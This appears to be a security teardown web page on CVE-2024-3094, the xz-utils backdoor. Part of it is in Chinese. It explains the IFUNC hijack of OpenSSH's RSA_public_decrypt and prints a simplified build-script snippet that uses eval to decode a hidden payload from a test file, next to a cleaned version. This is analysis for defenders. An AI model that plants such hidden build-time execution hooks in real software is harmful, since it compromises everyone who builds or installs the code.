flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor
CVE-2024-3094(XZ Utils 后门)源码级深度剖析:揭秘攻击者如何篡改 liblzma 中的 IFUNC 解析器以劫持并瓦解 OpenSSH 身份验证机制。
想象一下,一家银行使用标准的自来水管修建金库,公开的工程图纸毫无瑕疵。然而,在工厂负责打包出厂水管的装配工,却偷偷在水管内壁穿了一根隐形电线。当这根水管在 Linux 系统上安装进金库时,那根电线悄悄连通了银行大门的电子防盗锁 (OpenSSH),使该装配工日后随时可以用暗号遥控器直接开门。在 CVE-2024-3094 中,攻击者将绝密后门巧妙藏匿于发布压缩包(Tarball)的构建脚本中,实现了无需密码直接获取 Linux 远程最高 Root 特权的隐秘通道。
Open Source SystemsCWE-SecurityDefense-in-Depth根本原因在于开源系统中未经验证的边界参数,导致状态不同步并绕过安全控制。
Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.
During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.
The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.
When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
eval $(tr " \-_" " _\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])